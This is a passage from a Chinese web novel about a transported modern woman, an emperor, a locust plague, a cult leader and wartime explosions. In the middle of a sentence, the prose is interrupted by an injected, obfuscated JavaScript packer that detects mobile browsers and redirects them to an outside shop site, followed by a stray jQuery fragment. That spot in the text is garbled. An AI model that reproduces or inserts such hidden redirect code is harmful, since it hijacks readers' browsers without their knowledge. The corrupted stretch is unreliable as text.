“你至少要我给你做点什么吧。”礼诗涵身为一个现代华国人,就吃不了这种天上掉下来的馅饼,道,“不然我浑身不自在。” 令君如无奈地笑了下,道:“那,告诉我你的真名?” . 上官家已经被查抄,后宫空着也是空着,令君如又把泽海宫重新给了她住。 他完全兑现了他的承诺,新设赤星司,贴出布告,广纳学徒。 青春期的少女一天一个样子,礼诗涵袖口短了几分,自信满满地用自制的卷尺量了下身高,心碎地发现还是179cm。 新上任的司主大人对着墙壁自闭。 她把身高标尺刻在大门上,决定要点180cm以上的人天天背诵。 她这种忧郁完全是多余的。因为现在大伙都十分营养不良、许多人更是缺胳膊少腿,碰到一个个子稍微高些的,也是精神不振,骨瘦如柴。而且文盲占了大多数。 礼诗涵作为一个前华国现代人,看到别人吃不饱就浑身难受不自在,看见别人没上过学就同情心泛滥。 当日她就又跑去了皇帝书房,趴在令君如桌上,问道:“为什么大家还是吃不饱呢?明明你已经在开仓放粮。” 令君如一席玄色衣袍,有种令人目眩神迷的气度。他拉着礼诗涵挤在他旁边,道:“诗涵,你相信天命吗?” “?”突然讲这个做什么,礼诗涵倚在他怀中,沉吟片刻,道,“我相信。但我更相信人定胜天。” 令君如的体温偏凉,礼诗涵不由自主又凑近了些,把脸颊肉搭在他的手臂上。 令君如让礼诗涵坐端正了,才道:“现在大阜所受之困,是天灾与人祸并行。去年的地动毁了大半农田,又赶上疯皇帝乱世和上官家叛乱,虽已平定下来,现在各行各业都是百废待兴。错过春耕,粮草本就不足,今年的冬天会很难过。” 礼诗涵起了坏心眼,抱住他的手臂,感受到男人身体一下子的僵硬,她才满意地坏笑道:“我会教人们用改良的农具,有我这个天才在,你放心吧。” “如此最好。”令君如叹道,“诗涵,你能别再捉弄我了吗?” “你不是喜欢我吗?”礼诗涵缩回手,困惑道,“你喜欢我,我喜欢你母亲。而且你人也蛮好的,和你结婚会是个我们两方都受益的好选项。” 令君如:“........” 疯皇帝为什么这么疯,性格因素占了大头,但礼诗涵这青梅也绝对功不可没........ “并不是喜欢你就要娶你。”令君如忍住扶额的冲动,面对礼诗涵清澈漂亮的眼睛,缓缓道,“我大你许多岁,对你并没有那种心思。诗涵,能有你来是大阜之幸,你配得上任何人的珍视。” 夕阳如血,穿过空茫而虚无的天空,在这一禹洒下点点碎金。 秋日已经有了些许凉意,礼诗涵裹紧了衣服,闷闷道:“那你会娶谁呢?” “我谁也不会娶。”令君如温柔地注视着礼诗涵,笑道,“我母亲喜欢亲手做菜,快去吧,莫要让她老人家等急了。” “真搞不懂你。”礼诗涵鼓起一边脸颊,嘀嘀咕咕道,“这算什么,回避型依恋???” 她大步迈出御书房,容华容轻追在她身后,绝望地看她和每个路过的侍卫宫女太监打招呼,在对方或受宠若惊或习以为常的反应中大笑,不必再思考那些麻烦的人和事,轻灵得像只燕子。 人已经走了,那甜甜的香气仿佛还残留在这里。 她是生活在盛世中的明珠,理应享受着无数的爱,只为了一点小事烦恼。 令君如叹了口气,他叹气的次数总是格外多。把扣在最上面的奏折拿走,其下雪崩一般的上书全都在讲一件事: “善郓蝗灾.......” “长宁蝗灾.......” “济山蝗灾.......” “利阳蝗灾。” 礼诗涵根本不认识蝗虫。 她见过几次,还以为是螳螂或者是蟑螂之类的,皆是被吓得魂飞魄散。 既然连见都没见过,怎么谈治理呢? 一旦坐上这个位置,他才愈发能感受到大厦之将倾。 地动、瘟疫、战乱、蝗灾。 此乃天命。 身为将领,他知道绝对不能在战前灭志气,也想娶自己喜欢的女子。但是礼诗涵这件事还是往后放放吧。 他就算当了亡国之君,礼诗涵也不必和他一起挨骂。 . 深夜,令君如莫名惊醒,常年征战沙场带来的敏感神经让他猛地坐起身,下意识地伸手抓握斜倚在床边的长枪。 却只抓到了女子温热而纤细的手臂。 礼诗涵伏在他榻边,穿着寝衣,胡乱地披着一件外套。她打了个哈欠,就着一点如豆的灯火翻看着一本书卷,抱怨道:“你睡觉有点太早了吧,我等了许久。” 他的长枪就横在礼诗涵旁边,美人就该配兵器,在这冷硬而血腥的物什旁边,礼诗涵这温香软玉愈发美艳。 令居如还以为自己是产生了一些幻觉。 毕竟这是梦中才会出现的景象。 “.......”令君如揉了揉眉心,没去问司长大人为什么在这里。 他亲手写下的圣旨,礼诗涵可以在任何时候去任何地方,任何地方里当然也包括他的寝宫。 “我觉得你有点奇怪。”礼诗涵把书卷翻过一页,道:“我就去问了太后,得知你果然在为国事烦忧。怎么不告诉我?我来和你一起想办法。” “诗涵。”令君如实在看不下去了,劈手把她的书卷夺走,道,“别在这种环境下读书,毁眼睛。” 烛火摇曳,晦暗的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17835558|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 灯火下,甚至看不清彼此的面容。只能瞧得清楚礼诗涵下巴上的一颗小痣,简直如山中鬼魅一般。 “我妈妈说,”礼诗涵委屈道,“在半夜人是最诚实的。所以我只挑这种时候和别人谈心。但是你们还是在骗我。” “你不如摸摸我的心脏,”礼诗涵抓起令君如的手贴在自己的背上,认真道,“你能做到像我这样坦荡认真么?” 手下心脏咚咚跳动着,能摸到少女的脊骨。 令君如摸了两把,手感颇佳,口中吐出的话却还是十分冷酷,道:“并没有什么你需要担心的事。诗涵,快回你宫中去。” 礼诗涵被他用外袍套上,仔仔细细地打了一个结,推出门外,仍十分愤愤不平。 没关系,礼诗涵是个高精力人士。 她再也不会犯在疯皇帝身上犯过的错误,一旦发现对方有情绪问题,她一定要想方设法解决了才好。 令君如显然也意识到了这一点,他唰的一下又把门打开,扶额道:“不对,你回来!” 礼诗涵抬高下巴,志得意满地回来了。 . “蝗灾?”礼诗涵的反应果然不如他所料,她皱眉道,“我的时代已经几乎没有这东西了。我不是很清楚。” “大概是用农药......?” 她没见过铺天盖地的蝗虫群,从天边飞过的时候让人以为是世界末日。 令君如抚摸着礼诗涵如墨一般的黑发,缓缓道:“我已命人按旧法治理,但成效有限。这般的蝗虫灾祸,多是天意,只能苦熬。” “如果让你知晓,也只是徒增烦忧.......” “........”礼诗涵冥思苦想了一阵,道,“你知道吗?除了我、疯皇帝之外,理应还有别的穿越者。” “虽然张贴布告至今,没有任何人来寻过我。但如果在穿越者中间寻找的话,说不定能有办法呢!” “.......”令君如沉吟一番,道,“时局不稳,上官丞相为了动摇疯皇帝到处抓人。你的同伴们是被我带人保护起来了。” “那还等什么?我们今日,”礼诗涵抬头看了一眼天色,改口道,“我们明日就去。有我这个穿越者在,我们一定能相互理解的。” 有礼诗涵在,确实是什么样糟糕的境遇都能想出办法来。 有了转机,她立刻猖狂起来,道:“怎么样,是不是应该向我敞开心扉?有什么问题,我们只要好好沟通,一定能解决的。” 她明显是被疯皇帝整出了心理阴影,反复叮嘱。 令君如浅笑了下,简直移不开目光。 看到喜欢的人的时候,眼神是不一样的。 礼诗涵忽然想起来这句话。 令君如虽然没说话,但她第一次感觉到了不同。被这样的目光注视着,皮肤的温度会升高,心跳的速度会加快。 礼诗涵不由自主道:“你喜欢我吗?” “远远超出你所思所想。”令君如叹道。 “那你为什么不娶我做皇后呢?”礼诗涵凑近了些,灯下看美人,只觉美艳近乎要化为烛火,舔舐着令君如的皮肤,她道,“最起码此时此刻我是不会后悔的。” 54. 第54章 史书说(二) “诗涵,你虽然已经嫁过一次人,但我知道你并不明白,嫁人之后是要守规矩的。” 面对礼诗涵漂亮的面容,令君如移开了目光,语气依然耐心而平静。 “在我的时代,只要不出轨,不犯法,大家就能过得下去,我并不觉得换一个世界就会有什么区别。” 这理由并不能说服现代人礼诗涵,她振振有词,道:“这世界太大了,如果自己一个人走下去,岂不是太孤单了么?我理应和我最好的朋友结婚。” “.......”令君如真有点怜悯疯皇帝了。 何等冷酷无情的女人啊! 他揉了揉眉心,道:“诗涵,如果和你结婚,能陪伴你的时间更是少之又少。” “我是个传统的人。丈夫不能不陪伴自己的妻子,如果男人不能一天陪伴自己的妻子是十二个时辰就是违背祖宗的教导,在地下会被人戳脊梁骨。” “同理,一个丈夫理应少和异□□流,目光落到别的女人身上,最好把眼睛一起挖出来。如果不能让自己的妻子保持□□的健康和心灵的幸福,就应该被烧死。这才算合乎旧礼。” “为了大阜着想,我不得不处理许多事物,此逢国家危难时刻,我现在又不能死。” 礼诗涵瞠目结舌,肃然起敬,这惊世骇俗的发言听得连她都沉默半晌,小心翼翼道: “会不会有点太激进了?” 令君如眼底笑意一闪而过,继续一本正经道:“诗涵,你记住,这些事是身为男子的本分。如果为你这样的天才都做不到这种程度,怎么能和他结婚呢?这不是礼崩乐坏吗?” 礼诗涵默默点头,看起来世界观受到了一定程度的洗礼。 令君如一直诚实、成熟而可靠,在礼诗涵这里的信誉度很高。 怎么会在这么无聊的小事上骗人! 令君如指尖拨弄礼诗涵蓬松而柔软的黑发,忍笑道:“现在可以乖乖去睡觉了吗?” 泽海宫,礼诗涵躺在床上,望着被木质窗棂分割成几段的月亮,眼皮不断下沉。 在完全沉入梦乡之前,一个困惑悄悄地从她心中流走。令君如对她那么好,为什么之前从来没提过穿越者是他带走的这件事呢? . 礼诗涵清晰地知道自己是在梦中。 她穿着衬衫和宽松的工装裤,袖子挽起来露出洁白而线条优美的手臂,烫成大波浪的卷发扎成丸子头,露出耳朵上的三个耳骨钉,别有一番慵懒风情。 她轻飘飘的,在梦中飘来飘去,这里仿佛没有边界,也没有任何成形的东西。 这一切都是她大脑的臆想,是神经电信号胡乱传输的产物。 在这莫名其妙的梦里,她见到了一个好久不见的人。 十九皇子哭得抽抽搭搭的,高大的身子缩成一团,看着还是那副懦弱的受气包模样。 礼诗涵很久没想起来这个人,他的脸也早已经被疯皇帝拿走了使用权。现在比较臭名彰著,礼诗涵也挺于心不忍的,于是飘在他身边,道:“别哭了,我会把疯皇帝想办法带下去陪你的。到时候你路上就有伴了。” 十九皇子看了她一眼,又继续哭起来。 呜呜咽咽,听得人心毛毛的。 礼诗涵在梦中搓了搓手臂,忍不住道:“怎么啦,你不想和别人打交道?还是缺钱花了?我给你烧点纸钱?” 十九皇子是出了名的废物点心,窝囊馒头,哪怕死了,在她的梦中,也是一样的吭哧瘪肚,让礼诗涵在梦中都等得几乎睡过去,才吞吞吐吐出几句话来: “你是我的妻子,我的王妃,你不能忘了我,求求你别忘了我.......” “你见到我的身躯,要想到我曾经也来过。” . “大人呐。”容华轻轻唤她,“陛下已经派人来请了。” 夏日的午后拥有炽烈的阳光和尖锐的蝉鸣,礼诗涵呻吟一声,把薄被拉在头上,几乎分不清今夕何夕。 穿越者们人数并不多,被上官丞相抓走杀死又十数人,剩下的人闻风而动,隐藏起来不再露面。 在令君如手下被“保护”起来的穿越者,原本有三人。另外两个人都被战火波及,重伤不治。 而最后剩的那个人,礼诗涵认识。 “如果我没猜错,穿越的条件是死亡。”那个人衣着整洁得体,梳着整齐而优雅的发髻。只有唇色有些发白,那是身受重伤后痊愈的标志。 面对面色煞白、摇摇欲坠的礼诗涵,她宽慰道:“但在咱们的那个世界,也已经有人发觉端倪。想必灵魂也有重量、其中藏着我们现在没发现的科学规律。打起精神来,小友,这种莫名的灾难一定会有顺着时代而生的青年才俊来让它停下,你不必为此烦忧。” “曲娘”敲了敲自己的腿,那条假腿发出清脆的响声,她的目光中带着怜悯,和见过大几十年光阴后才有的慈祥。 她适应得很好,砖墙砸下来的时候在三人中只有她走位灵活,秋毫无伤。 就是因为她已经活了有百岁,穿到这副身体里纯是加强。 “曲娘.......” 曲娘受了那么重的伤,怎么活啊? 孩子找到了,她那口气就散了。 受了苦役和苦刑能活下来的人本就十不存一,曲娘只是普通的、平庸的、最多有些小聪明的人罢了。 “曲娘?”曲娘身体里的百岁老奶张曲平喃喃自语,道,“这是这身体原本主人的名字吗?哎,这名字起得不好,一生曲折嶙峋,坎坷不堪。” 礼诗涵其实并不了解她。 她定了定神,问道:“曲奶奶,您知道怎么治理蝗虫吗?” 这算是问对人了。张曲平在研究院中供职几十年,研究过相关课题。 面对礼诗涵期待的目光,她慈祥道:“很简单,孩子。这事就没有捷径。” 少则三年,长则数十年,礼诗涵曾经过的平静日子,是无数人的汗水换来的。 “我听过你的名字,诗涵,很多次,超乎你想象的多。”张曲平语重心长道,“你还太年轻了。做什么事都对你太轻易了,你可以得到任何东西,做成所有你想做的事情,经常成功,很少失败。” “但孩子,有的时候,失败才是最重要的。你得接受。” “哦。”如果礼诗涵有像小狗一样的耳朵,此时应该已经耷拉下来了,“原来是我想得太简单了。” 张曲平也兼职教书,时常面对一帮缺勤专业课的大学生,已经把教育别人腌入味了。 瞧见礼诗涵露出沮丧的表情,她惊觉自己犯了老毛病,立刻话音一转,道:“但是话又说回来了,站在前人的肩膀上总是轻松许多。日子总是艰难的,但有规范的章程总有希望。能少死一个人就少死一个人,我虽力微,但求尽力而为。” 礼诗涵又高兴起来。她现在是司长大人,当即封张曲平为副司长。 张曲平骤然穿进这样年轻的躯体,精力简直多得花不完,即日便启程到各地巡游勘察。 当礼诗涵在赤星司努力普及义务教育课程的时候,张曲平那里也传来了好消息。 她来信说小友我碰上土匪了,但是都被令君如派人剿灭了,现在土匪都到了她的手下拼命挖 地,她一下子轻松了不少,希望下次还有土匪。 忙碌的日子如水一般过去,令君如在加班加点处理政务军务忙得犹如陀螺,礼诗涵在用已经非常熟练的毛笔编写教材讲课科普扫盲手搓妙妙小工具,而张曲平在野外老奶求生。 经过了战乱未平的春天、虫潮蔓延的夏天、在颗粒无收的秋天,治理蝗灾的顶梁柱张曲平被抓走了。 可见人越倒霉,就会越倒霉。 她是在途径大阜和大燹边境的时候被抓走的。她身边的一队士兵被尽数剿灭,只故意留下一人通风报信。 而逃回来的人被吓得魂飞胆丧,几乎精神错乱,颠三倒四地说是有鬼抓走了她。 “鬼?” 朝堂之上,诸臣轰然炸锅,礼诗涵站在队伍之首,困惑地抬头望向皇帝,道:“这个世界有鬼吗?” 礼诗涵是坚定的唯物主义者,相信世界上所有发生的事情都自有其道理。穿越都发生了,万一真的有鬼怪呢? 令君如却道:“鬼神之说,皆为装神弄鬼之词。你细细讲来,那鬼长什么模样?又带了什么手下?” 那臣子回忆起来,简直是清晰如昨。 他哆嗦了半晌,斩钉截铁道:“那个鬼长得像个十四五岁的貌美少年,但全身上下毛发皆白,而且有着两对瞳孔!” “不像人!绝对不像人!” 礼诗涵想象了一下,如果在深山老林里遇见这一号人物,她也绝对会认为对方是鬼非人。 臣子喘息了半晌,又道:"他.......他身着彩衣。非常怪异。他其实并不是故意抓走我们的,我们当时行至村庄,但是这个村庄蝗灾太严重,人已经跑得差不多了,土地一根草都没有,到处都是坟。" “张大人心善,要我们四处去寻,还有没有没办法的村民。” “听到一阵哀乐的声音,我们就赶忙追上前去。却只见到匍匐跪在地上的村民,他们在不停跪拜,那个白发少年就站在他们最前头,抬头仰望着什么。当时我们已经追得很深了,在光线昏暗的山上有一群人地行如此诡异之事,是十分令人恐惧的。” “白发少年转头看到我们,却笑了,指着张大人说‘看,鬼来了’。” “他的手下全都不要命,受伤流血了却愈发狂热,像是疯子一样.......没人能敌得过一群疯子!” 这人是个文臣,讲起故事来简直身临其境,哪怕快被吓疯了都得炫耀下他的文笔。 令君如就是文臣出身,最是清楚这种臭毛病。他打断了文臣的滔滔不绝,道:“他为什么放你走?” “他,他.......”文臣一下子卡壳,瞧了瞧在群臣中焦急万分的礼诗涵,又用眼角余光觑了下令君如的脸色。 文臣咬牙道:“他留下我的一条命,是想让我替他问一个人,一句话。” “问谁?” “指名道姓要给.......上官皇后。” 骤然被点名,礼诗涵有种不妙的预感:“?” 文臣深吸一口气,下定了必死的决心,沉痛道:“他说‘梨花有败,江水有竭,天地有毁,此间无一物可长久......." . ".......不知皇后可愿做我妻,共赴黄泉极乐地?” 苏长久呢喃出后半句,纤长的睫毛轻轻眨动,他斜卧在一张美人榻上,而更多的人匍匐在地上; 念诵教义之声、铿锵凿石之声不绝于耳,这里是阳光普照不到之地。 巨大的金乌石雕下,苏长久微笑着瞧着被五花大绑的鸩鬼,轻声道:“真是意外之喜。” 55. 第55章 史书说(三) “???” 这等惊世骇俗的言论一出,朝堂之上立刻多出了无数抽气声,令君如的脸色更是难看至极。 在万众瞩目下,礼诗涵伸出一根手指指向自己,莫名其妙道:“我?我认识他吗?这到底谁啊???” 这已经不能用荒谬来形容了。 礼诗涵善名远扬,绝不是这种从路边冒出来的登徒子能肖想的。 且朝廷与此人先有冲突,这对前皇后、现任赤星司司长大人的冒犯之语立刻被认定成为了一种恶劣的挑衅。 众臣群情激昂,在短短时间内大阜掌权的已经被迫换了三波人,分别是疯皇帝治下的小人、上官丞相治下的贱人和令君如治下的莽夫。 莽夫们叫嚣着要出兵给这装神弄鬼的小子一点颜色瞧瞧。而唯一理智在线的令君如也是气得不轻,常年的修养和敏锐的直觉制止了他。 他抬手,朝堂迅速安静下来,令君如道:“此事有诈。谁愿领兵去探听虚实?” 一名武将迈步出列。 令君如颔首:“你引三千士兵,星夜前往,务必要救下人质。另派一队人去四下打听,到底从哪冒出来这样的人物!” “是!” . 七日后,张曲平人还是没见着,一则更加糟糕的消息传来。 那武将带着那三千士兵,叛变了! 据说他痛哭流涕,在那白发少年的教化之下,细数过往罪状,感慨此生作孽良多,过得太顺遂,来生一定会受苦受难,当即决定投入教主的麾下,一同涤荡世间。 他是自愿以全部身家投入落仙教,他的士兵们也是自愿的。武将在信中苦劝令君如莫要祸及他的家人,就算祸及了也没关系,因为此生福短,来生必然运长,灵魂是永垂不朽的。 此信一回,朝堂再次哗然。 这是疯了吗? 礼诗涵却知道这比疯了还严重。她见过这样可悲的例子,大阜文盲占一多半,很容易就会被这样的话哄骗了去。 而朝堂上武将占了七成,而他们又非常符合礼诗涵的刻板印象。立刻又有人请命,势必要带回这种背主之人的项上人头。 令君如迟迟未决,礼诗涵知道他是忧心去一个送一个,于是自己也出列,道:“陛下。” 她抬眼,眼尾的弧度十分锋锐,她道:“臣同往。” 顿时激起千层浪。 立刻有人反驳,这人对礼诗涵图谋不轨已经摆在明面上了,礼诗涵去了怕不是肉包子打狗。 礼诗涵也很怕他们是肉包子啊! 礼诗涵担心武将们的大脑,武将们忧心令君如的爱情,双方驴头不对马嘴,愣是吵得争执不下。 令君如终结了这一切,道:“裴伍、令六。你二人领兵同往。” 这两人同样骁勇善战。在令君如当了皇帝之后,地位随之水涨船高,获封将军之职,自领命而去。 . 令六为主、裴伍为副,二人早已经配合过多次,见惯了沙场,心硬如铁。别管苏长久是土匪还是教派头子,还能敌得过炸药不成? 但令六认为裴伍智商低。 于是下了军令,若是见到白发少年,不能与他说一句话。 只需要上去割了他的舌头,看他还能蛊惑什么人心? 这次,一向善于筹谋的令六也想错了。 苏长久人长得就很畸形,行动自然更加异于常人。 边境,二人率领五千骑兵,铁蹄踏破干枯而光秃的土地,卷起漫天的风沙,惊起如乌云般的蝗虫。 本是无比的声势浩荡,却在此情此景中黯然失色。令六瞪大眼睛,得拼命抬高脖颈,才能和威严华贵的巨鸟对视。 那石刻居高临下地俯视他们,三足,两翅,双翅张开,栩栩如生。 口中衔着日轮,周围漆满了鲜红的光芒,涂料还在滴滴答答地向下流淌。 苏千里坐在金乌的一翅上,过分病态的苍白手指轻轻抚摸它的肩背,仿佛真能从这粗粝的石像上感受到金乌滚烫而炽热的羽毛。 巨大的石像,重瞳白发、浑然不似人类的少年。 令六听到身后士兵铠甲碰撞的声音,那是他们在不自觉地害怕和颤抖发出的声音。 这一仗难打了。 苏长久是蛊惑人心的高手。 他骗人不只用语言,而是用现实。 见到这样的神迹,你敢用力呼吸吗? . 边境发来急报,能从奔放草率的字体感受到令六的崩溃。 士兵们志气不高,且战且退。苏长久的信众一个二个不怕死不怕痛,越受伤越兴奋,口中喃喃“真乃我之福气!”,就血肉模糊地追上来了。 谁跟这群玩意打能不害怕啊!!! 唯一的好消息,就是终于弄明白这人是从哪个犄角旮旯里冒出来的了。 苏长久,大燹永熹人士,年方十五,素质不详。在大燹妖言惑众,建立落仙教派,因从不做一点好事,被大燹皇帝以举国之力围剿后失踪。 大燹皇帝还以为他终于死了,高兴得全国休沐三日。 原来是来祸害邻国了! 朝堂之上,鸦雀无声。 每个人都如丧考妣,这种倒霉玩意落到谁头上,谁都只能受着。 战况持续焦灼了一个月,这些人前赴后继地赴死,炸药带来的伤亡固然惨重,但苏长久哪有良心啊,从不在乎别人的伤亡。 他是个生活很规律的人,虽然在邻国颠沛流离,但依然坚持了很多小习惯。 比如每天给人洗脑,比如进行石雕艺术创作,比如给礼诗涵写情书,一天写二十封,让俘虏带回利阳,又或是使人在宫门口大声诵读。 这般坚持了一个月之后,虽然礼诗涵一封也没看,但苏长久的情敌令君如悄无声息地全看了。 有再好的涵养,在这种对自己喜欢的女子的侮辱下,也得化为乌有。 这种祸害决不能留。 抱着这样的念头,他选择了御驾亲征。 至于期间积累的朝政,他无妻无子,只能暂时交由赤星司司长大人打理,最能服众。 . 令君如率军奔赴边境。 他的战功都是真刀真枪地拼杀出来的,苏长久的乌合之众并非他的对手,果然节节败退。 又是半月过去,那令人见之则惊的石雕金乌已经被炸断了半边翅膀,眼前只剩光秃秃的山脉。 苏长久和他所剩不多的手下正狡猾地龟缩于某个山洞之中,山肠四通八达,这也是裴伍令六久攻不下的源头。 令君如尝到唇瓣干燥开裂流出的血味,他那种不详的预感越发强烈。 越靠近大燹就越干燥炎热,而多亏了这些蝗虫的福,附近更是连一颗没枯死的树都看不到了。 “起火,灌烟,烧山。”令君如神色凝重,道,“速战速决,把他们逼出来!” 秋冬之时,本就天干物燥,枯死的草木化为熊熊烈火,灼热的火浪舔舐着每个人的皮肤。 很快,一队穿着奇装异服之人从山洞中钻出来,尖叫着扑打着身上的火焰,往山下逃窜,被令君如的人马逮个正着。 裴伍被不要命的打法恶心了这么久,终于扬眉吐气,搓着手嘿嘿着把他们五花大绑。 绑了半天,却不见那白发少年。 令六恨恨道:“还是让苏长久给跑了?!” 令君如的目光巡回在这群人中间,这群人神情麻木,眼神又狂热,看起来着实可怕。 p>他瞥见一个熟悉的面孔,是那个投降的武将,连日的战乱奔波,裴伍又夹带私货,在他脸上狠狠地来了几下,鼻青脸肿,已经几乎让人认不出来了。 武将微微抬起头,对令君如道:“陛下。” “炸药不应该只有我们独有。” 令君如心中一跳,只听他以一种仿佛得到了极大恩赐的模样,平静而虔诚地道:“这是金乌大人赏赐给凡人的,旷古绝今的神作啊!” “它应该分享!” 令君如瞳孔骤然收缩。 他猛地抬头望向高耸的山峰,滚滚浓烟把天空都遮了一半,火舌把山上的每一处砂石都烤得滚烫,如果在此时崩落下来....... 他调转马头,喝令士兵们:“撤军!向远离山峰的方向跑!” 宛如惊雷的爆炸声轰然响起,火舌终于触及到了藏匿在山洞中的□□。 那堪称庞然大物的石雕,如果全靠人力,怎么能在短短时日内,就创造如此的神迹? 金乌啊,你给世间带来了什么? 令君如脖颈上迸出青筋,令六脸上全是恼怒和懊悔,而裴伍翻身上马,马儿惊起狂奔; 这早就已经脆弱不堪的山体结构从内部炸开,土壤、尚且被火焰灼烧的树枝、烧红的石块如流星般坠落。 有些士兵被活埋,连遗言都说不出来就死了。而有些士兵比较幸运,能说出遗言,他的遗言是:“啊啊啊啊啊!”。 胯/下战马在震颤不已的地面上狂奔,身周景物急速后退。 令君如一面冷静地为慌不择路的士兵们指明方向,越慌张就越容易死,这是战场大忌;而另一部分思绪却已经飘到了遥远的利阳。 如果他死在这里,礼诗涵还会记得他吗? 应该不会。 . 礼诗涵在处理政务上的斤两,大家都有数。 要紧事、大事要她定夺,其他小事就不必烦司长大人的心了,待陛下回朝再奏不迟。 往常堆满奏折的梨花木桌此时堆满了各种零件,在容华的殷切注视下,礼诗涵把两枚黄橙橙的子弹推入弹匣,咔哒一声上膛。 礼诗涵四下看看,来到院中,容华亦步亦趋地跟着她,只见礼诗涵瞄准一块巨石,扣下扳机—— 一声无比巨大的音爆声响,无数钢珠四下炸开,把那块巨石打成了马蜂窝。 礼诗涵把□□丢给容华,一拍胸脯,得意道:“成功了,你想要的猎熊工具。小心些,千万莫要伤到人了。” “不愧是大人。”容华喜滋滋道,“待我猎到熊,我就能做我家乡的传统菜给大人吃。我每到生辰,我娘就会给我做熊羹。大人的生辰没吃到,我给大人补上。” 礼诗涵一点也不敢想象,在这种纯冷兵器的时代,到底是什么样的环境,多彪悍的民风,才能有这种传统菜啊??? 她其实一点也不想吃,听起来就很血腥。但不好拂了容华的好意,只好岔开话题道:“对了,有我的来信么?” 礼诗涵和校尉夫人每月都有着通信。容轻摇头,道:“这个月还没接到。” “是吗?”礼诗涵很不满意,道,“我可是司长大人!政务繁忙!难道要我先道歉吗?” 因为校尉夫人随着礼诗涵的书卷学了一阵之后,坚决了再也不碰生化环材的决心。她已经发下大愿,此生要当也只当一个斗蛐蛐大师,在家中混吃等死。 礼诗涵一个华国人就看不得这个。劝学许久而不得,二人遂冷战。 礼诗涵愤而下笔: “......我很生气!你不能不理我。我先给你道歉。” “不知道你愿不愿意来利阳一段时日?有我在身边,一定会让你爱上生化环材的,一定!” 56. 第56章 史书说(四) 司长大人的亲笔信被小心翼翼放在信筒中,容华抚过鸽子雪白而细腻的羽毛,信鸽振翅而飞,抖落女子一脸的羽粉。 身后传来容轻咯咯的轻笑声。 咻! 利箭划过长空,雪白的信鸽被穿成串儿,发出一声哀鸣,大头朝下栽倒在地上,溅起一滩血污。 城墙被炸出了几个大大小小的坑洞,戾气横生的大秉士兵们或站或坐,或抱着武器沉沉入眠。 土地是血浸透了的乌黑色,谢雍神经质地抓挠着脸上被刻下的字。“废物”两个字刺眼无比,才刚刚落疤,这是他惨败过的证明。 士兵呈上信笺,他连忙将面具戴回,劈手夺过,看清上面字迹,脸上流露出愤怒的表情。 信鸽少见,却被用来传递富家小姐的玩笑。 这帮只是生在富庶之地的废物们。 凭什么如此幸福、如此快乐,不用整日活在担惊受怕之中? 他恼火地撕碎了,瞳孔放大到极致,牙齿咬出吱吱的声音,声音像是从喉咙里挤出来的: “继续屠城!胆敢放走一个通风报信的,军法处置!” . 扑嗤! 铲子用力插进土地,用力一翘,剜出一大堆密密麻麻的白色蝗虫卵。 礼诗涵被恶心得发出尖叫,赶快把虫卵丢进火桶中全烧了,卵鞘滋滋作响,发出烤焦蛋白质的诡异香气。 夜色已经深了,在这个时间点还清醒着的除了守夜的士兵,就只有心神不宁睡不着,遂出来义务劳动的礼诗涵。 容轻在一旁生火烤熊肉,黛兔心高气傲地在298/300的熊熊尸体上踢踏,□□挂在马身,和马鞍碰撞,发出轻轻的响声。 野兽肉在重料重酒的腌制下发出浓郁到呛人的香味。 “我的手艺定然不如容华,但也算是天下第二。”容轻把烤好的肉递给礼诗涵,道,“大人快尝尝。” 礼诗涵看着那狰狞无比的肉块,头一次生出怯懦的情绪。 她犹豫半晌,在容轻期盼的眼神中,才小心翼翼地咬了一口。 没有辣椒,但这本就大补的肉类,又加了烈酒和药材一起烤,粗粝但又格外香,实在大补。 礼诗涵一张白嫩的脸涨得通红,只觉得自己被饭打了,现在可以踢正步走上珠穆朗玛峰。 虽然好吃,但礼诗涵还是敬谢不敏。 容轻面无表情地把礼诗涵没吃完的肉串嚼嚼吞下了,巴掌大的小脸也涨得通红,道:“大人真的不再尝尝吗?祛湿气呢。” 礼诗涵觉得再吃一口自己就要被祛了,顾左右而言她:“容华呢?” “她有相好了,约莫不巧正在跟情人卿卿我我,一直瞒着你,现在瞒不过了。大人明日一定要好好责罚她失职之过。” “什么?”礼诗涵两眼放光,黏在容轻旁边,道,“谁呀?谁这么好运?我是娘家人,我要把把关,容华的孩子也要认我做干娘——快说,是谁呀?” 容轻根本没打听,她恨天恨地恨女人更恨男人,此生无法理解为什么会有恋爱脑这种东西存在。 礼诗涵根本不信,疯狂摇晃容轻,容轻的小身板在礼诗涵的手劲下无助地像根风中残烛。 风中残烛面无表情地把剩下的烤肉也嚼嚼咽了,突然暴起,伸手用力挠礼诗涵的痒痒肉。 “哈哈哈哈哈哈!” 礼诗涵的笑声实在好听,清脆如银铃,实在让人听了心中愉快,她不断求饶:“我错啦!我错啦!饶了我。” 深秋的夜晚静谧如水,只有漂亮女子的笑声在田野中回荡,远处人家的大黄狗耳朵微动,抬起头,又习以为常地把脑袋搁回地面上。 土地被翻出深深的沟壑,虫卵被从土地中挖出来烧掉,百姓们把抢收的粮食严严实实地锁在库中,抱着钥匙睡觉。 只要熬过这最苦的日子就好了。 有了新的皇帝,有了善解人意的准皇后。 一切都在朝着好的方向发展。 礼诗涵试图分割猎到的熊,拿刀不断比划着,愈发无从下手,沉思着要如何把这玩意分给附近百姓。 脚下震动,礼诗涵的刀锋上忽地映出一摸暖色,她茫然地转过头,见到了此生见过最盛大的一场烟火。 轰隆! 轰隆! 接连不断的爆炸声在城中各个地方响起,火焰窜得三丈高,烟尘聚成一阵巨大的蘑菇云,声浪让人耳膜胀痛,耳鸣迟迟未歇。 利阳城大街小巷多为木质,瞬间化为无数条狂舞的火龙! 有人在睡梦中被火焰灼烧,什么都没来得及想,就已经被烧成一块焦炭,留下的遗言是: “啊啊啊啊啊!” 利阳城在短短几息内,就化为一片火海! 我....... 我给这世界带来了什么? 礼诗涵只呆愣了三秒。 只有三秒。 